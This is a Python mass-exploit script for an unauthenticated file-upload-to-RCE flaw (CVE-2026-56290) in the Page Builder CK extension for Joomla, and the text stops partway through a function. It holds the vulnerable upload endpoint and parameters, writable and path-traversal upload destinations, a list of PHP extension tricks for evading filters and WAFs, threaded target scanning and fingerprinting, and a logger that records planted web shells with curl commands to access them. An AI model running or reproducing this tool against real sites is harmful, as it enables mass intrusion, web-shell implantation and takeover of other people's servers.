1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
██████╗ ██████╗ ██████╗██╗ ██╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔══██╗██╔══██╗██╔════╝██║ ██╔╝ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
██████╔╝██████╔╝██║ █████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔═══╝ ██╔══██╗██║ ██╔═██╗ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
██║ ██████╔╝╚██████╗██║ ██╗ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚═╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
CVE-2026-56290 — Page Builder CK for Joomla
Unauthenticated Arbitrary File Upload → RCE
Mass Exploit + Live TXT Output + Validated Backdoor Paths
"""
import requests
import re
import sys
import os
import json
import time
import random
import hashlib
import argparse
import threading
import logging
import warnings
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from typing import Optional
from urllib.parse import urljoin, urlparse
from datetime import datetime
# Shut up urllib3 SSL noise
warnings.filterwarnings("ignore", message="Unverified HTTPS request")
logging.getLogger("urllib3").setLevel(logging.ERROR)
logging.captureWarnings(True)
# =============================================================================
# Config
# =============================================================================
TIMEOUT = 15
MAX_WORKERS = 20
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0",
]
# Exact endpoint discovered from source code analysis:
# Controller: browse, Method: ajaxAddPicture
# File param: file, Path param: path
# These are prioritized at index 0 in discovery.
TASK_CANDIDATES = [
"browse.ajaxAddPicture", # ← CONFIRMED: the actual upload endpoint
"ajax.upload", "ajax.uploadFile", "file.upload", "upload.file", "image.upload",
"ajax.uploadfile", "media.upload", "upload.ajax", "files.upload", "upload",
]
FILE_PARAM_NAMES = [
"file", # ← CONFIRMED: $input->files->get('file', ...)
"Filedata", "image", "upload",
]
FOLDER_PARAM_NAMES = [
"path", # ← CONFIRMED: $input->get('path', ...)
"folder", "dir", "upload_path", "uploadfolder",
]
# Destination paths — where the uploaded file actually lands
# Path param is USER-CONTROLLED, only trim() applied
# Can write ANYWHERE writable by web server
DEST_PATHS = [
# === PBCK media (GUARANTEED writable — extension's own folders) ===
"media/com_pagebuilderck/gfonts/", # in-the-wild shell: bhup.php
"media/com_pagebuilderck/",
"media/com_pagebuilderck/fonts/",
"media/com_pagebuilderck/css/",
"media/com_pagebuilderck/js/",
"media/com_pagebuilderck/assets/",
"media/com_pagebuilderck/images/",
# === Joomla writable dirs ===
"media/",
"images/",
"images/stories/",
"images/pagebuilderck/",
"images/banners/",
"tmp/",
"cache/",
"logs/",
"administrator/cache/",
"administrator/logs/",
"administrator/components/com_pagebuilderck/",
# === Traversal TO writable dirs (no overwrite) ===
"../tmp/",
"../media/",
"../administrator/cache/",
"../administrator/logs/",
]
# Extension bypass list — ALL pass CKFile::makeSafe()
SHELL_EXTENSIONS_FAST = ["php", "PHP", "pht", "phar"]
SHELL_EXTENSIONS_WAF = [
# Case juggling
"Php", "pHp", "PhP", "pHtmL", "PhTmL", "PhAr", "pHtMl",
"PhTml", "Pht", "PHTML", "PhtMl", "PHtmL", "sHtMl",
"pHt", "pHT", "PhT", "PHT",
# Numbered
"php3", "php4", "php5", "php6", "php7", "php8",
"PHP3", "PHP4", "PHP5", "PHP6", "PHP7", "PHP8",
"pHp5", "Php7", "PhP5", "PhP7",
# Alternative handlers
"phtml", "phtm", "shtml", "phar", "inc",
"Phtml", "Shtml", "Inc", "pHtml",
"phps", "PHPS", "Phps",
# Double extensions
"php.jpg", "jpg.php", "php.png", "png.php", "php.gif",
"Php.jpg", "pHp.png", "PHP.gif", "PhP.jpg",
"php.jpeg", "jpeg.php", "php.txt",
# Windows-specific
"php.", "PHP.", "php. ",
"php.SWF", "PHP.FLV",
]
# =============================================================================
# URL Normalizer — auto-prepend https:// or http://
# =============================================================================
def normalize_url(raw: str) -> str:
"""
Normalize target URL — strip whitespace, auto-prepend protocol.
Tries HTTPS first, falls back to HTTP.
"""
raw = raw.strip().rstrip("/")
# Already has protocol
if raw.startswith("http://") or raw.startswith("https://"):
return raw
# No protocol — probe HTTPS first
print(f" [*] {raw} — probing HTTPS...")
# Quick HEAD/GET check for HTTPS
for proto in ("https://", "http://"):
test_url = f"{proto}{raw}"
try:
r = requests.get(test_url, timeout=5, allow_redirects=True, verify=False)
print(f" [+] {raw} → {proto}{raw} (HTTP {r.status_code})")
return test_url
except (requests.ConnectionError, requests.Timeout, requests.RequestException):
continue
# Both failed — stik with HTTPS as default
print(f" [!] {raw} — unreachable, defaulting to https://")
return f"https://{raw}"
# =============================================================================
# Data
# =============================================================================
@dataclass
class TargetResult:
url: str
status: str = "pending"
joomla_detected: bool = False
joomla_version: Optional[str] = None
component_detected: bool = False
component_version: Optional[str] = None
vulnerable_version: bool = False
csrf_token: Optional[str] = None
csrf_token_name: Optional[str] = None
discovered_endpoint: Optional[str] = None
discovered_file_param: Optional[str] = None
discovered_folder_param: Optional[str] = None
shell_url: Optional[str] = None
shell_path: Optional[str] = None
shell_token: Optional[str] = None
rce_output: Optional[str] = None
whoami: Optional[str] = None
uname: Optional[str] = None
php_version: Optional[str] = None
error_msg: Optional[str] = None
elapsed: float = 0.0
# =============================================================================
# Helpers
# =============================================================================
def gen_token(length: int = 12) -> str:
return hashlib.sha256(os.urandom(16)).hexdigest()[:length]
def b64(s: str) -> str:
import base64
return base64.b64encode(s.encode()).decode()
def _b64url(s: str) -> str:
import base64
return base64.b64encode(s.encode()).decode()
# =============================================================================
# Thread-safe Live TXT Writer
# =============================================================================
class LiveWriter:
"""Write hasil exploitasi langsung ke TXT file — real-time, thread-safe."""
def __init__(self, filepath: str):
self.filepath = filepath
self.lock = threading.Lock()
self._init_file()
def _init_file(self):
with open(self.filepath, "w") as f:
f.write(f"# CVE-2026-56290 — Page Builder CK Mass Exploit\n")
f.write(f"# Scan started: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"# {'='*70}\n")
f.write(f"# FORMAT: STATUS | URL | SHELL_URL | TOKEN | RCE_OUTPUT | VERSION | ENDPOINT\n")
f.write(f"# {'='*70}\n\n")
def write(self, result: TargetResult):
with self.lock:
with open(self.filepath, "a") as f:
timestamp = datetime.now().strftime("%H:%M:%S")
if result.status == "rce_confirmed":
line = (
f"[VULN] [{timestamp}] {result.url}\n"
f" Shell : {result.shell_url}\n"
f" Usage : POST f=@file | ?cleanup=1\n"
f" RCE : {result.rce_output}\n"
f" Version : {result.component_version or 'unknown'}\n"
f" Endpoint : task={result.discovered_endpoint} | file={result.discovered_file_param} | folder={result.discovered_folder_param}\n"
f" Elapsed : {result.elapsed:.1f}s\n\n"
)
elif result.status == "rce_failed":
line = (
f"[UPLOAD] [{timestamp}] {result.url}\n"
f" Status : Upload sukses tapi PHP tidak eksekusi (WAF/hardened .htaccess?)\n"
f" Version : {result.component_version or 'unknown'}\n"
f" Endpoint : task={result.discovered_endpoint} | file={result.discovered_file_param} | folder={result.discovered_folder_param}\n"
f" Elapsed : {result.elapsed:.1f}s\n\n"
)
elif result.status == "patched":
line = (
f"[PATCHED] [{timestamp}] {result.url}\n"
f" Version : {result.component_version}\n"
f" Elapsed : {result.elapsed:.1f}s\n\n"
)
elif result.status == "endpoint_not_found":
line = (
f"[NO_ENDP] [{timestamp}] {result.url}\n"
f" Status : Endpoint not discovered — need manual diff\n"
f" Version : {result.component_version or 'unknown'}\n"
f" Elapsed : {result.elapsed:.1f}s\n\n"
)
else:
line = (
f"[{result.status.upper()}] [{timestamp}] {result.url}\n"
f" Error : {result.error_msg or 'N/A'}\n"
f" Elapsed : {result.elapsed:.1f}s\n\n"
)
f.write(line)
f.flush()
os.fsync(f.fileno())
def write_summary(self, results: list):
with self.lock:
with open(self.filepath, "a") as f:
total = len(results)
vuln = sum(1 for r in results if r.status == "rce_confirmed")
patched = sum(1 for r in results if r.status == "patched")
no_endpoint = sum(1 for r in results if r.status == "endpoint_not_found")
upload_only = sum(1 for r in results if r.status == "rce_failed")
others = total - vuln - patched - no_endpoint - upload_only
f.write(f"\n# {'='*70}\n")
f.write(f"# SCAN SUMMARY\n")
f.write(f"# Scan finished: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"# Total : {total}\n")
f.write(f"# VULN : {vuln} (RCE Confirmed)\n")
f.write(f"# UPLOAD : {upload_only} (Upload OK, RCE blocked)\n")
f.write(f"# PATCHED : {patched}\n")
f.write(f"# NO_ENDP : {no_endpoint} (need manual diff)\n")
f.write(f"# OTHER : {others}\n")
f.write(f"# {'='*70}\n")
if vuln > 0:
f.write(f"\n# VALIDATED SHELLS (token-guarded, access with header):\n")
for r in results:
if r.status == "rce_confirmed" and r.shell_url:
f.write(f"# {r.url}\n")
f.write(f"curl -H 'X-PBCK-TOKEN: {r.shell_token}' '{r.shell_url}'\n\n")
# =============================================================================
# Scanner
# =============================================================================
class Scanner:
def __init__(self, session):
self.sess = session
def detect_joomla(self, url: str) -> tuple:
"""
Accurate Joomla detection.
Phase 1: HTML fingerprints (fast).
Phase 2: Admin panel probe (fallback — catches stripped/minimal installs).
"""
try:
r = self.sess.get(url, timeout=TIMEOUT)
except requests.RequestException:
return False, None
html = r.text
joomla_evidence = 0
version = None
# ---- Phase 1: HTML fingerprints ----
# 1a. Generator meta with "Joomla!" — definitive, instant pass
# Handles: Joomla! 4.4.1 / Joomla! - Open Source... (no version)
gen = re.search(
r'<meta[^>]+name=["\']generator["\'][^>]+content=["\']Joomla!?',
html, re.IGNORECASE,
)
if gen:
v = re.search(r'Joomla!?\s*([\d.]+)', html, re.IGNORECASE)
version = v.group(1) if v else None
return True, version # definitive — generator meta is unique to Joomla
# 1c. Joomla-specific structural elements
structural = [
'<jdoc:include',
'class="joomla-',
'/media/jui/',
'/media/system/js/core',
'Joomla!',
'Joomla',
'joomla-script-options', # Joomla 4/5 unique marker
'"csrf.token"', # Joomla 4/5 CSRF in JSON
]
struct_hits = sum(1 for s in structural if s in html)
if struct_hits >= 2:
joomla_evidence += 3
elif struct_hits >= 1:
joomla_evidence += 1
# 1d. Joomla path fingerprints
j_paths = ['/components/com_', '/modules/mod_', '/plugins/system/']
path_hits = sum(1 for p in j_paths if p in html)
if path_hits >= 2:
joomla_evidence += 2
elif path_hits == 1:
joomla_evidence += 1
# 1e. Joomla session cookie
cookie_names = [c.name.lower() for c in r.cookies]
if any(n.startswith(hex(0)) for n in cookie_names):
joomla_evidence += 2
if any('joomla' in n for n in cookie_names):
joomla_evidence += 2
# csrf.token in JSON = definitive Joomla 4/5
if '"csrf.token"' in html:
return True, version
if joomla_evidence >= 3:
return True, version
# ---- Phase 2: Admin panel probe (fallback) ----
# Many sites override generator tag (Gantry, custom templates)
# Admin login page has unmistakeable Joomla fingerprints
try:
admin_url = urljoin(url, "/administrator/")
r_admin = self.sess.get(admin_url, timeout=TIMEOUT, allow_redirects=True)
admin_html = r_admin.text
admin_markers = [
'name="username"', # Joomla admin login field
'mod-login-', # Joomla admin login module class
'/administrator/templates/', # Admin template path
'Joomla!', # Usually present in admin
'Joomla', # Case-insensitive fallback
'mod_login', # Joomla admin login module
'login-form', # Admin login form ID
]
admin_hits = sum(1 for m in admin_markers if m in admin_html)
# Joomla admin page ALWAYS has username field + admin template path
if 'name="username"' in admin_html and 'administrator/templates/' in admin_html:
return True, version
if admin_hits >= 4:
return True, version
except requests.RequestException:
pass
return False, None
def detect_pbck(self, url: str) -> tuple:
"""
Accurate PageBuilderCK detection — probe paths directly if HTML is silent.
"""
try:
r = self.sess.get(url, timeout=TIMEOUT)
except requests.RequestException:
return False, None
html = r.text
html_lower = html.lower()
# Strong indicators — full path strings unique to this extension
strong = [
"com_pagebuilderck",
"/pagebuilderck/",
"pagebuilder_ck",
"/media/com_pagebuilderck",
]
found_strong = any(kw in html_lower for kw in strong)
# Weak indicator — only with confirmation
has_weak = "pagebuilderck" in html_lower
confirming = [
"pbck_",
"pagebuilderck.css",
"pagebuilderck.js",
"/media/com_pagebuilderck",
]
found_weak = has_weak and any(c in html_lower for c in confirming)
version = None
if found_strong or found_weak:
# Try extract version from HTML
for pat in [
r'pagebuilderck[/"][^vV]*[vV]?(\d+\.\d+\.\d+)',
r'pagebuilder[_]?ck[^0-9]*(\d+\.\d+\.\d+)',
r'com_pagebuilderck[/"][^v]*v?(\d+\.\d+\.\d+)',
]:
m = re.search(pat, html, re.IGNORECASE)
if m:
version = m.group(1)
break
# ---- Direct path probes (fallback — catches sites where PBCK isn't on homepage) ----
# Probe known PBCK files. If any return 200, PBCK is installed.
pbck_probes = [
"/media/com_pagebuilderck/css/pagebuilderck.css",
"/media/com_pagebuilderck/js/pagebuilderck.js",
"/components/com_pagebuilderck/views/page/tmpl/default.php",
"/administrator/manifests/files/com_pagebuilderck.xml",
]
any_probe_hit = False
for probe_path in pbck_probes:
try:
r2 = self.sess.head(urljoin(url, probe_path), timeout=TIMEOUT, allow_redirects=False)
if r2.status_code == 200:
any_probe_hit = True
# manifest XML → extract version
if 'manifest' in probe_path and version is None:
try:
r3 = self.sess.get(urljoin(url, probe_path), timeout=TIMEOUT)
m = re.search(r'<version>([\d.]+)</version>', r3.text)
if m:
version = m.group(1)
except requests.RequestException:
pass
break
except requests.RequestException:
continue
if not found_strong and not found_weak and not any_probe_hit:
return False, None
return True, version
def is_vulnerable_version(self, version: Optional[str]) -> bool:
if version is None:
return True
try:
parts = [int(x) for x in version.split(".")]
while len(parts) < 3:
parts.append(0)
mj, mn, pt = parts[0], parts[1], parts[2]
if mj != 3:
return mj < 3
if mn <= 1 and pt <= 1:
return True
if mn <= 4 and pt <= 10:
return True
if mn <= 5 and pt <= 10:
|